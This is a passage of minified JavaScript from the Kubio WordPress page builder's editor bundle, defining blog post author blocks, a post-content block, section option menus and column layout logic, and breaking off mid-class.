e:Fo}={name:"kubio/post-author-avatar",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{kubio:{type:"object"},addLink:{type:"boolean",default:!1},url:{type:"string"},avatarSize:{type:"string",default:"50"}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",IMAGE:"image"},elementsByName:{outer:{wrapper:!0,props:{className:["author-avatar-block"]}},image:{default:!0,props:{tag:"img"}}},template:{type:"element",props:{name:"outer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"image"}}]}]}}}},{name:zo}={name:"kubio/post-author-name",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{kubio:{type:"object"},addLink:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{props:{},style:{descendants:{outer:{},link:{}}}},elementsEnum:{OUTER:"outer",LINK:"link",TEXT:"text"},elementsByName:{outer:{wrapper:!0,props:{tag:"div",className:["author-name-block d-flex"]}},text:{default:!0,selector:".wp-block-kubio-post-author-name__text",props:{tag:"p"}},link:{selector:{normal:"a p.wp-block-kubio-post-author-name__text",hover:"a:hover p.wp-block-kubio-post-author-name__text"},props:{tag:"a"}}},template:{type:"element",props:{name:"outer"},children:[{type:"LinkWrapper",children:[{type:"element",props:{name:"text"}}]}]}}}},{name:Vo}={name:"kubio/post-author-bio",category:"kubio-blog-components",usesContext:["postId","postType"],attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{props:{},style:{descendants:{}}},elementsEnum:{TEXT:"text"},elementsByName:{text:{default:!0,wrapper:!0,selector:"&.wp-block.wp-block-kubio-post-author-bio",props:{tag:"p"}}},template:{type:"element",props:{name:"text",shouldRender:"computed.showAuthorBio"}}}}};var Yo={DIVIDER:Do,SPACER:Lo,SECTION:Ct,ROW:It,COLUMN:Tt,HEADER:St,CONTENT:wt,HERO:Pt,DOWN_ARROW:At,MULTIPLE_IMAGES:Bt,MULTIPLE_IMAGES_PICTURE:Nt,BREADCRUMB:xt,SUBSCRIBE_FORM:Rt,...yt,FOOTER:$t,SIDEBAR:Kt,IMAGE:qt,IMAGE_GALLERY:Xt,IMAGE_GALLERY_ITEM:Qt,LINK:Zt,LINK_GROUP:Jt,BUTTON:eo,BUTTON_GROUP:to,HEADING:lo,TEXT:oo,SEARCH_FORM:no,HOME_BUTTON:ao,CONTACT_FORM:Dt,SHORTCODE:Lt,COPYRIGHT:yo,VIDEO:ro,LOGO:Vt,COUNTER:io,ICON:co,ICON_LIST:so,ICON_LIST_ITEM:uo,MAP:go,PAGE_TITLE:Yt,ACCORDION:Ft,ACCORDION_ITEM:zt,TAB:Mt,TAB_ITEM:Wt,TAB_ITEMS:Ht,TAB_NAVIGATION:Gt,TAB_NAVIGATION_ITEM:Ut,MENU_ITEMS:po,DROPDOWN_MENU:bo,ACCORDION_MENU:mo,MENU_OFFSCREEN:ho,MENU_OFFSCREEN_CONTENT:Oo,FLIP_BOX:jo,FLIP_BOX_CONTENT:ko,FLIP_BOX_HOVER:Eo,SOCIAL_ICONS:fo,SOCIAL_ICON:vo,PRICING:_o,PRICING_TABLE:Co,PRICING_TABLE_ITEM:Io,LOOP:So,LOOP_ITEM:wo,QUERY:To,QUERY_PAGINATION:Po,QUERY_LAYOUT:Ao,POST_TITLE:Ho,POST_EXCERPT:Bo,POST_TAGS:No,POST_CATEGORIES:xo,POST_META:Ro,..._t,CAROUSEL:Mo,CAROUSEL_ITEM:Wo,POST_FEATURED_IMAGE:Go,POST_READ_MORE:Uo,POST_AUTHOR_AVATAR:Fo,POST_AUTHOR_NAME:zo,POST_AUTHOR_BIO:Vo};const $o=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const{clientId:o}=Object(De.useBlockEditContext)(),{isEmpty:n,isGutentagEditor:a}=Object(Ve.useSelect)((e=>{const t=e("core/block-editor").getBlocks(o),n=e(Fe.STORE_KEY);return{isEmpty:0===t.length,isGutentagEditor:!!n}}),[o]),l=Object(xe.useMemo)((()=>{let e=t.renderAppender;return(Object(Be.isUndefined)(e)||!0===e)&&(e="kubio-render-appender"),"kubio-render-appender"===e&&(e=n?De.InnerBlocks.ButtonBlockAppender:!a&&void 0),e}),[t.renderAppender,n,a]);return t=Object(He.useDeepMemo)((()=>({...t,renderAppender:l})),[t,l]),De.__experimentalUseInnerBlocksProps?Object(De.__experimentalUseInnerBlocksProps)(e,t):Object(De.useInnerBlocksProps)(e,t)};let Ko=De.__experimentalUseNoRecursiveRenders;De.__experimentalRecursionProvider&&(Ko=e=>{const t=Object(De.__experimentalUseHasRecursion)(e),o=Object(xe.useRef)();return o.current||(o.current=Object(Me.compose)(Object(Me.createHigherOrderComponent)((t=>o=>Object(xe.createElement)(t,Object(ut.a)({},o,{uniqueId:e}))),"withKubioRecursionProvider"))(De.__experimentalRecursionProvider)),[t,o.current]});const qo=Object(Me.compose)(Object(Me.createHigherOrderComponent)((e=>t=>{const{layout:o}=t,n=Object(Ve.useSelect)((e=>{var t;const{getSettings:o}=e(De.store);return null===(t=o())||void 0===t?void 0:t.supportsLayout}),[]),a=Object(De.useSetting)("layout")||{};let l;l=Ne.a.isEmpty(o)||!Ne.a.isEmpty(o)&&o.inherit?a:o;const{contentSize:r,wideSize:i}=l,c=Object(xe.useMemo)((()=>{const e=["left","center","right"];return r&&e.push("full"),i&&e.push("wide"),n?e:void 0}),[n,r,i]),s=Object(xe.useMemo)((()=>({name:"post-content"})),[]);return Object(xe.createElement)(He.TemplatePartContext.Provider,{value:s},Object(xe.createElement)(Ve.AsyncModeProvider,{value:!1},Object(xe.createElement)(e,Object(ut.a)({},t,{alignments:c}))))})),Me.pure)((function(e){let{postType:t,postId:o,alignments:n}=e;const[a,l,r]=Object(pt.useEntityBlockEditor)("postType",t,{id:o}),i="page"===t?Xo:void 0,c=$o(Object(De.useBlockProps)({className:"entry-content"}),{value:a,onInput:l,onChange:r,__experimentalLayout:{type:"default",alignments:n},allowedBlocks:i});return Object(xe.createElement)("div",c)})),Xo=[Yo.SECTION];function Qo(){const e=Object(De.useBlockProps)({className:"entry-content"}),[t,o]=Object(xe.useState)(null),[n,a]=Object(xe.useState)(null),l=Object(Ve.useSelect)((e=>{var t,o;return null===(t=e(Fe.STORE_KEY))||void 0===t||null===(o=t.getPage())||void 0===o?void 0:o.path})),r=Object(xe.useRef)(),[i,c]=Object(xe.useState)(Math.random());return Object(qe.useEffectAsync)((async e=>{if(e()){var t;const a=await window.fetch(Object(bt.addQueryArgs)(l,{"__kubio-rendered-content":1})).then((e=>e.json()));var n;e()&&null!=a&&null!==(t=a.data)&&void 0!==t&&t.content&&o(null===(n=a.data)||void 0===n?void 0:n.content)}}),[l]),Object(qe.useEffectAsync)((async e=>{if(e()){var t;const n=await window.fetch(Object(bt.addQueryArgs)(l,{"__kubio-rendered-styles":1})).then((e=>e.json()));var o;e()&&null!=n&&null!==(t=n.data)&&void 0!==t&&t.content&&(a(null===(o=n.data)||void 0===o?void 0:o.content),c(Math.random()))}}),[l]),Object(xe.useEffect)((()=>{const e=r.current;if(!e)return;let t=["global-styles-inline-css","kubio-google-fonts-css","elevate-theme-css","kubio-third-party-blocks-css","kubio-block-library-dep-fancybox-css","kubio-block-library-dep-swiper-css"];t=t.map((e=>`#${e}`));const o=t.join(",");o&&e.querySelectorAll(o).forEach((e=>{null==e||e.remove()}))}),[r.current]),Object(xe.createElement)("div",e,Object(xe.createElement)("div",{ref:r,key:i},Object(xe.createElement)(xe.RawHTML,null,n)),Object(xe.createElement)(xe.RawHTML,null,t),Object(xe.createElement)("div",{className:"kubio-post-content-rendered-placeholder"}))}function Zo(){const e=Object(De.useBlockProps)();return Object(xe.createElement)("div",e,Object(xe.createElement)("div",{className:"wp-block-post-content__placeholder"},Object(xe.createElement)("span",null,Object(We.__)("This is a placeholder for post content.","kubio"))))}function Jo(){const e=Object(De.useBlockProps)();return Object(xe.createElement)("div",e,Object(xe.createElement)(De.Warning,null,Object(We.__)("Block cannot be rendered inside itself.","kubio")))}const en=e=>{let{context:{postId:t,postType:o},attributes:n,clientId:a}=e;const{layout:l={}}=n,[r,i]=Ko(t);return t&&o&&r?Object(xe.createElement)(Jo,null):Object(Ae.applyFilters)("kubio.showRenderedPostContent","page"!==o,o,t)?Object(xe.createElement)(Qo,null):Object(xe.createElement)(i,null,t&&o?Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(qo,{postType:o,postId:t,layout:l}),Object(xe.createElement)(Re.LayoutPicker,{postType:o,postId:t,clientId:a})):Object(xe.createElement)(Zo,null))},tn=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)("div",{className:"kubio-editing-header"},Object(xe.createElement)(Re.ControlNotice,{content:Object(We.__)("Current block does not have content options","kubio")})));var on=o(17),nn=o(25);const an={name:"core/post-content",category:"kubio-template-parts",usesContext:["postId","postType"],supports:{align:!1,html:!1,kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}}},__experimentalDisableBlockOverlay:!0}},{name:ln}=an,rn=Object(nn.extendBlockMeta)(an,{title:Object(We.__)("Content","kubio"),icon:on.BlockIcons.PostContent,supports:{anchor:!1,reusable:!1,html:!1,multiple:!1},edit:function(e){const{context:{postId:t,postType:o}}=e;return Object(He.useNoticeOnBlockRemove)(Object(We.__)("You just deleted the Post Content block. Without a Post Content block the current template might not work across multiple pages","kubio")),t&&o?Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(tn,null),Object(xe.createElement)(en,e)):Object(xe.createElement)("p",null,Object(We.__)("This is a placeholder for post content.","kubio"))}});var cn=o(9),sn=o(280),un=o(19);const pn=e=>{let{dataHelper:t}=e;const{saveEntityRecord:o}=Object(Ve.useDispatch)("core"),n=t.clientId,{block:a}=Object(Ve.useSelect)((e=>{const{getBlock:t}=e(De.store);return{block:t(n)}}),[n]),{createErrorNotice:l,createSuccessNotice:r}=Object(He.useKubioNotices)(),[i,c]=Object(xe.useState)(""),[s,u]=Object(xe.useState)(!0),[p,b]=Object(xe.useState)(!1),m=async(e,t)=>{b(!0);const n=Object(un.transformBlockToTemplate)(a),c={title:i,status:"publish",content:JSON.stringify(n)};let s=!1;try{s=await o(e,t,c),r(i+Object(We.__)(" saved successfully!","kubio"))}catch(e){l(Object(We.sprintf)(//translators: $s is the page name
Object(We.__)("An error occurred. %s was not saved","kubio"),i))}var p;s&&(u(!1),null===(p=document.querySelector("#new-section-modal"))||void 0===p||p.remove())};return Object(xe.createElement)(xe.Fragment,null,s&&Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.Modal,{title:Object(We.__)("Save as custom section","kubio"),onRequestClose:()=>{u(!1)},className:"block-editor-block-new-entity-modal new-section-modal",shouldCloseOnEsc:!p,shouldCloseOnClickOutside:!p,isDismissible:!p},Object(xe.createElement)("div",{className:"popover__content"},Object(xe.createElement)(Le.__experimentalInputControl,{value:i,onChange:e=>c(e),label:Object(We.__)("Name","kubio"),autoFocus:!0,onKeyPress:e=>{"Enter"===e.key&&m("postType","kubio_section")}}),Object(xe.createElement)(Le.__experimentalSpacer,{margin:3}),Object(xe.createElement)(Le.Button,{isPrimary:!0,isBusy:p,disabled:""===i,onClick:()=>{m("postType","kubio_section")},className:"add-button"},Object(We.__)("Save section","kubio")),Object(xe.createElement)(Le.__experimentalSpacer,{margin:6})))))},bn=e=>{e&&(e.preventDefault(),e.stopPropagation())},mn=nt.CHANGE_IMAGE_VIDEO,dn=nt.CHANGE_BACKGROUND,hn={label:Object(We.__)("Edit section layout","kubio"),action:async e=>{let{dataHelper:t,hooks:o,event:n}=e;bn(n);const{selectBlock:a=Ne.a.noop,onSelectPanel:l=Ne.a.noop}=o;await a(null==t?void 0:t.clientId),l("content",".kubio-section-layout-panel")}},On={label:Object(We.__)("Duplicate section","kubio"),action:async e=>{let{dataHelper:t,event:o}=e;bn(o),t.duplicate({unlink:!0})}},gn={label:Object(We.__)("Save as custom section","kubio"),action:async e=>{let{dataHelper:t,event:o}=e;bn(o),(async e=>{(e=>{const t=document.createElement("div");t.setAttribute("id","new-section-modal"),Object(He.reactRender)(Object(xe.createElement)(pn,{dataHelper:e}),t)})(e)})(t)}},yn={label:Object(We.__)("Delete section","kubio"),action:async e=>{let{dataHelper:t,hooks:o,event:n}=e;bn(n);const{removeBlock:a=Ne.a.noop,selectBlock:l=Ne.a.noop}=o;await l(),a(null==t?void 0:t.clientId,!1)}},jn={label:Object(We.__)("Section settings","kubio"),action:async e=>{let{dataHelper:t,hooks:o,event:n}=e;bn(n);const{selectBlock:a=Ne.a.noop,onSelectPanel:l=Ne.a.noop}=o;await a(null==t?void 0:t.clientId),l("content",".kubio-section-layout-panel")}};function kn(e){return e.withChildren().find((e=>e.getProp("layout.equalWidth")))}const En={label:Object(We.__)("Add list item","kubio"),enabled:e=>!!kn(e),action:e=>{let{dataHelper:t,event:o}=e;bn(o);const n=kn(t);n&&n.withChildren()[0].duplicate({unlink:!1})}},fn=Re.UIUtils.itemsPerRowOptions.map((e=>({label:`${e.value} item${e.value>1?"s":""}`,action:t=>{let{dataHelper:o,hooks:n,event:a,activeMedia:l}=t;bn(a);const{selectBlock:r=Ne.a.noop}=n,i=kn(o);i&&(r(null==i?void 0:i.clientId),i.setPropInMedia("layout.itemsPerRow",e.value,{media:l}))}}))),vn={CHANGE_IMAGE_VIDEO:mn,CHANGE_BACKGROUND:dn,EDIT_LAYOUT:hn,DUPLICATE_BLOCK:On,SAVE_BLOCK:gn,REMOVE_BLOCK:yn,SELECT_BLOCK:jn,ADD_LIST_ITEM:En,ITEMS_PER_ROW:{label:Object(We.__)("Items per row","kubio"),subItems:fn,enabled:e=>!!kn(e),action:async(e,t,o)=>{bn(o)}}},Cn=e=>{const[t,o]=Object(xe.useState)(!1),n=Ne.a.merge({},{enabled:!0,menuItems:[]},e),{enabled:a,menuItems:l}=n,r=Object(xe.useCallback)((()=>{o(!0)}),[]),i=Object(xe.useCallback)((()=>{o(!1)}),[]);return a?{sectionOptionsProps:{isHovered:t,menuItems:l},containerProps:{onMouseOver:r,onMouseOut:i}}:{sectionOptionsProps:{},containerProps:{}}};function In(e){let{isHovered:t,menuItems:o=[],...n}=e;const a=Object(xe.useRef)(),[l,r]=Object(xe.useState)(!1),i=t||l;if(0===o.length)return Object(xe.createElement)(xe.Fragment,null);const c="kubio-section-options-button",s=`${c}--hovered`,u=Object(xe.createElement)(Le.Button,{icon:sn.a,className:$e()(c,{[s]:i})});return Object(xe.createElement)(Re.DropdownWithHover,{className:"kubio-dropdown-with-hover__section-options",ref:a,onToggle:r,toggleElement:u},Object(xe.createElement)(xe.Fragment,null,i&&Object(xe.createElement)(Tn,Object(ut.a)({menuItems:o,dropdownRef:a},n,{showSectionOptions:i}))))}function Tn(e){let{dataHelper:t,menuItems:o=[],dropdownRef:n}=e;const a=Object(Ve.useDispatch)("core/block-editor"),l=Object(Ve.useDispatch)("core"),r=Object(Ve.useSelect)((e=>e("core/block-editor"))),i=Object(He.useActiveMedia)(),[,c]=Object(ze.useCurrentInspectorTab)(),{debouncedShowOverlay:s}=Ke(),{openSidebar:u=Ne.a.noop}=Object(Ve.useDispatch)(Fe.STORE_KEY)||{},p=Object(xe.useCallback)(((e,t)=>{u("block-inspector"),c(e),s(t)}),[s,c]),b={...r,...a,...l,onSelectPanel:p},m=Ne.a.get(n,["current","onClose"],Ne.a.noop),d=Object(He.useDeepMemo)((()=>{let e=Ne.a.cloneDeep(o);Array.isArray(Ne.a.get(e,"0"))||(e=[e]);const n=[];return e.forEach((e=>{const o=e.filter((e=>{let o=Ne.a.get(e,"enabled",!0);return"function"==typeof o&&(o=o(t,b)),o}));o.length>0&&n.push(o)})),n}),[]);return Object(xe.createElement)(xe.Fragment,null,d.map(((e,o)=>Object(xe.createElement)(Le.MenuGroup,{key:o},e.map(((e,n)=>{const a=Ne.a.get(e,"subItems");let l=Object(xe.createElement)(Le.MenuItem,{key:`${o} - ${n}`,onClick:o=>{null==e||e.action({dataHelper:t,hooks:b,event:o,activeMedia:i}),m()}},Object(Be.isFunction)(null==e?void 0:e.label)?null==e?void 0:e.label(t):null==e?void 0:e.label);if(a){const e=l,o=a.map(((e,o)=>Object(xe.createElement)(Le.MenuItem,{key:`submenu-${o}`,onClick:o=>{null==e||e.action({dataHelper:t,hooks:b,event:o,activeMedia:i}),m()}},null==e?void 0:e.label)));l=Object(xe.createElement)(Re.DropdownWithHover,{key:`dropdown-${n}`,popoverProps:{className:"kubio-dropdown-with-hover__popover kubio-dropdown-with-hover__section-options__submenu",position:"middle left"},toggleElement:e},o)}return Object(xe.createElement)("div",{key:`${o} - ${n}`},l)}))))))}const Sn={Default:{layout:{itemsPerRow:2,equalWidth:!0,equalHeight:!0}}},{name:wn}={name:"kubio/row",title:"Columns",category:"kubio-basic",attributes:{kubio:{type:"object"},templateLock:{type:"string"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,props:{fullBackground:{type:"boolean"},layout:{type:"object"}},elementsEnum:{CONTAINER:"container",INNER:"inner",CENTER:"center",OUTER_GAPS:"outerGaps",INNER_GAPS:"innerGaps",TYPOGRAPHY_HOLDERS:"typographyHolders"},elementsByName:{container:{wrapper:!0,default:!0,supports:{separator:!0,background:!0}},center:{},inner:{props:{className:["h-row"]}},outerGaps:{selector:"> * > .h-row > [class*='h-col-'] > [class*='h-px-']"},innerGaps:{selector:" > * > .h-row > [class*='h-col-']"}},template:{type:"element",props:{name:"container"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{props:{fullBackground:!1,layout:{equalWidth:!1,equalHeight:!0,itemsPerRow:2,verticalAlign:"center",horizontalAlign:"center",horizontalGap:2,verticalGap:2,horizontalInnerGap:2,verticalInnerGap:2},media:{mobile:{layout:{itemsPerRow:1,horizontalGap:0}}}}}}}},Pn=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],o=!(arguments.length>2&&void 0!==arguments[2])||arguments[2];return Object(He.composeBlockWithStyle)(wn,{props:Sn.Default,...e},t,o)},An={Default:{}},{name:Bn}={name:"kubio/column",title:"Column",category:"kubio-basic",usesContext:["kubio/parentKubio"],parent:["kubio/row"],attributes:{kubio:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{props:{internal:{type:"object",default:{heroSection:{type:"none"}}},overlapOptions:!1,layout:{horizontalGap:2,verticalGap:2,horizontalInnerGap:"inherit",verticalInnerGap:"inherit",verticalAlign:"start"}},style:{descendants:{container:{customHeight:{type:"fit-to-content","min-height":{value:"",unit:"px"}}},inner:{textAlign:"center"}}},_style:{descendants:{container:{columnWidth:{type:"custom"},media:{mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}}},elementsEnum:{INNER:"inner",CONTAINER:"container",VSPACE:"v-space",ALIGN:"align"},elementsByName:{inner:{default:!0,props:{className:["d-flex","h-flex-basis"]},supports:{background:!0,separator:!0}},container:{wrapper:!0,props:{className:["d-flex"]}},align:{props:{className:["h-y-container","h-column__content","h-column__v-align"]}},"v-space":{selector:"> * > .h-y-container > *:not(:last-child)"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},Nn=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:[],o=!(arguments.length>2&&void 0!==arguments[2])||arguments[2];return Object(He.composeBlockWithStyle)(Bn,Ne.a.merge({},{style:An.Default},e),t,o)};var xn=o(388);new(o.n(xn).a)("h-column");const{ColumnWidthTypes:Rn}=cn.columnWidth,Dn=(Rn.FLEX_GROW,(e,t,o,n)=>Ne.a.merge(e,{descendants:{container:{columnWidth:t,media:{mobile:{columnWidth:o},tablet:{columnWidth:n}}}}})),Ln=e=>({type:Rn.CUSTOM,custom:{value:e,unit:"%"}}),Mn=()=>({type:Rn.FLEX_GROW,custom:{value:"",unit:"%"}}),Wn=()=>({type:Rn.FIT_TO_CONTENT,custom:{value:"",unit:"%"}}),Hn=function(e){let t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];const o={};return Ne.a.each(e,((e,n)=>{if(t)o[n]=Fe.UNSET_VALUE;else{if(null==e||!e.itemsPerRow)return;const t=null==e?void 0:e.itemsPerRow,a=Object(un.toFixedNoRounding)(parseFloat(100/t),2);o[n]=Ln(a)}})),o},Gn=()=>Nn({_style:Dn({},Ln(50),Ln(100))},[]),Un=()=>Pn({props:{layout:{equalHeight:!0,equalWidth:!1}}},[Gn(),Gn()]),Fn={Default:Un(),Default2:Pn({},[Nn({},[]),Nn({}),Nn({})])},zn=[{name:"default",isDefault:!0,title:Object(We.__)("Columns","kubio"),description:Object(We.__)("Add a new row to the canvas. Make adjustments to its columns, spacing, typography, background, and more.","kubio"),attributes:Fn.Default[1],innerBlocks:Fn.Default[2]}],Vn={BOXED:"boxed",FULL_WIDTH:"full-width"},Yn={[Vn.FULL_WIDTH]:"h-section-fluid-container",[Vn.BOXED]:"h-section-boxed-container"},$n=[{value:Vn.BOXED,label:Object(We.__)("Container","kubio")},{value:Vn.FULL_WIDTH,label:Object(We.__)("Full","kubio")}],Kn=()=>{const e=Object(Ge.createBlock)(Yo.SECTION,{});return e.innerBlocks=[],e},qn=function(){let{dataHelper:e,hooks:t,after:o=!1}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const{getBlockIndex:n,insertBlock:a,getBlockRootClientId:l}=t,r=null==e?void 0:e.clientId,i=l(r),c=n(r,i),s=o?c+1:c,u=Kn(),{anchor:p,name:b}=Object(un.getNextSectionNameAndId)(Object(We.__)("Custom section","kubio"),t);u.attributes={anchor:p,attrs:{name:b}},a(u,Math.max(s,0),i)},Xn=e=>{e&&(e.preventDefault(),e.stopPropagation())},Qn={label:Object(We.__)("Add section before","kubio"),action:e=>{let{dataHelper:t,event:o,hooks:n}=e;Xn(o),qn({dataHelper:t,hooks:n,after:!1})}},Zn={label:Object(We.__)("Add section after","kubio"),action:e=>{let{dataHelper:t,event:o,hooks:n}=e;Xn(o),qn({dataHelper:t,hooks:n,after:!0})}},Jn=[[vn.CHANGE_IMAGE_VIDEO,vn.CHANGE_BACKGROUND,vn.EDIT_LAYOUT],[vn.ADD_LIST_ITEM,vn.ITEMS_PER_ROW],[vn.DUPLICATE_BLOCK,Qn,Zn,vn.SAVE_BLOCK,vn.REMOVE_BLOCK]],ea=[Un()],ta="outer",oa="inner",na={[ta]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.TRANSITION,cn.StylesEnum.BACKGROUND,cn.StylesEnum.SEPARATORS,cn.StylesEnum.SPACING,cn.StylesEnum.BORDER,cn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER_ADVANCED,cn.StylesEnum.TRANSFORM],states:cn.StatesPresetsEnum.BASIC,separator:!0,filters:{...Re.BackgroundUiUtils.FiltersPreset.CONTAINER,transition:{manuallyEnabled:!0}}}}};var aa=o(5),la=Object(xe.createElement)(aa.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(xe.createElement)(aa.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V5c-.1-.3.1-.5.4-.5zm14 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z"}));const ra=()=>{const[,e]=Object(ze.useCurrentInspectorTab)(),{debouncedShowOverlay:t}=Ke(),{openSidebar:o=Ne.a.noop}=Object(Ve.useDispatch)(Fe.STORE_KEY)||{},n=Object(xe.useCallback)((()=>{o("block-inspector"),e("style"),t(".kubio-section-background-panel")}),[t,e]);return o?Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Le.ToolbarButton,{icon:la,label:Object(We.__)("Change Background","kubio"),onClick:n}))):Object(xe.createElement)(xe.Fragment,null)};var ia=o(420),ca=o(428),sa=o(120),ua=o(27);const pa={isAlternate:!0},ba=e=>{let{dataHelper:t}=e;const o=t.getProp("width");return Object(xe.createElement)(De.BlockControls,null,Object(xe.createElement)(Le.ToolbarGroup,null,Object(xe.createElement)(Le.Dropdown,{popoverProps:pa,renderToggle:e=>{let{onToggle:t,isOpen:n}=e;return Object(xe.createElement)(Le.ToolbarButton,{icon:o===Vn.BOXED?ia.a:ca.a,label:Object(We.__)("Container Width","kubio"),onClick:t,"aria-expanded":n,onKeyDown:e=>{n||e.keyCode!==ua.DOWN||(e.preventDefault(),e.stopPropagation(),t())}})},renderContent:()=>Object(xe.createElement)(Le.MenuGroup,{className:"kubio-toolbar-container-width"},Object(xe.createElement)(Le.MenuItemsChoice,{choices:$n.map((e=>{let{value:t,label:o}=e;return{value:t,label:Object(xe.createElement)(Le.Flex,null,Object(xe.createElement)(Le.FlexItem,null,Object(xe.createElement)(sa.a,{icon:t===Vn.BOXED?ia.a:ca.a})),Object(xe.createElement)(Le.FlexBlock,null,o))}})),value:o,onSelect:e=>(e=>{t.setProp("width",e)})(e)}))})))};var ma=Object(xe.createElement)(aa.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"-2 -2 24 24"},Object(xe.createElement)(aa.Path,{d:"M10 1c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9zm0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7zm1-11H9v3H6v2h3v3h2v-3h3V9h-3V6zM10 1c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9zm0 16c-3.9 0-7-3.1-7-7s3.1-7 7-7 7 3.1 7 7-3.1 7-7 7zm1-11H9v3H6v2h3v3h2v-3h3V9h-3V6z"}));const da={COLUMNS:"columns",GRID:"grid"},ha=cn.columnWidth.ColumnWidthTypes,Oa={styledComponent:"container"};function ga(e){if(0===e.length||1===e.length)return!0;const t=e.map((e=>e.getBoundingClientRect())).map((e=>e.x));let o=t[0],n=!0;return t.forEach(((e,t)=>{0!==t&&(e<=o&&(n=!1),o=e)})),n}function ya(e,t){return e.withChildren().map((e=>{const o=null==e?void 0:e.clientId,n=Object(un.getPreviewElementByModelId)(o,t);if(!n)throw Object(We.__)("Could not add column while not all elements are rendered","kubio");return n}))}function ja(e,t){return Object(un.getPreviewElementByModelId)(e,t).querySelector(" .h-row")}function ka(e){const t=e.createElement("div");return t.setAttribute("id","h-dummy-column"),t.setAttribute("class","dummy-column"),t}function Ea(e,t,o){const n=function(e,t,o){const n=ja(e,o),a=ka(o);fa(n,t,a);const l=window.getComputedStyle(a),r=parseFloat(l.getPropertyValue("width")),i=window.getComputedStyle(n),c=r/((parseFloat(i.getPropertyValue("width"))-(parseFloat(i.paddingLeft)+parseFloat(i.paddingRight))-(parseFloat(i.borderLeftWidth)+parseFloat(i.borderRightWidth)))/100);return n.removeChild(a),parseFloat(Object(un.toFixedNoRounding)(c,2))}(null==e?void 0:e.clientId,t,o);let a;return a=100==n?function(e){const t=_.get(e.withChildren(),"0");return t?t.getLocalStyle("columnWidth",{},{...Oa,media:"desktop"}):{}}(e):Ln(n),a}function fa(e,t,o){let n=null;if(0!==t){for(let o=0;o<e.children.length;o++)o-0==t-1&&(n=e.children[o]);n&&n.insertAdjacentElement("afterEnd",o)}else e.children[0].insertAdjacentElement("beforebegin",o)}class va{constructor(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};this.dataHelper=e,this.data=t}add(){const e=this.rowDataHelper,t=e.clientId,o=this.newColumnIndex,{insertBlock:n=Ne.a.noop,createBlock:a=Ne.a.noop,ownerDocument:l=null}=this.data,r=a(...function(e,t,o,n){let a={};return t===da.COLUMNS&&(a=function(e,t){return ga(ya(e,t))}(e,n)?function(e,t,o){const n=function(e){const t=e.withChildren();let o=!0;return t.forEach((e=>{e.getLocalStyle("columnWidth.type",null,Oa)!==ha.CUSTOM&&(o=!1)})),o}(e);if(!n)return Wn();const a=function(e,t,o,n){const a=ja(e,n),l=ka(n);fa(a,t,l),o.splice(t,0,l);const r=ga(o);return function(e,t){e.removeChild(t)}(a,l),r}(null==e?void 0:e.clientId,t,ya(e,o),o);return a?Ea(e,t,o):function(e){const t=function(e){const t=100/((null==e?void 0:e.withChildren().length)+1);return parseFloat(Object(un.toFixedNoRounding)(t,2))}(e);return function(e,t){e.withChildren().forEach((e=>{const o={type:ha.CUSTOM,custom:{value:t,unit:"%"}};e.setLocalStyle("columnWidth",o,{...Oa,media:"desktop"})}))}(e,t),Ln(t)}(e)}(e,o,n):Ea(e,o,n),_.isEmpty(a)&&(a=Ln(50))),Nn(_.isEmpty(a)?{}:{_style:{descendants:{container:{columnWidth:a}}}})}(e,this.layoutType,o,l));Ne.a.unset(r,"attributes.kubio.props.internal"),n(r,o,t,!1)}get newColumnIndex(){return this.rowDataHelper.withChildren().length}get rowDataHelper(){return this.dataHelper}get equalWidth(){return this.rowDataHelper.getProp("layout.equalWidth",!1)}get layoutType(){return this.equalWidth?da.GRID:da.COLUMNS}}class _a extends va{constructor(e,t){let o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};super(e,t);const n=Ne.a.merge({},{after:!0},o);this.options=n}get rowDataHelper(){return 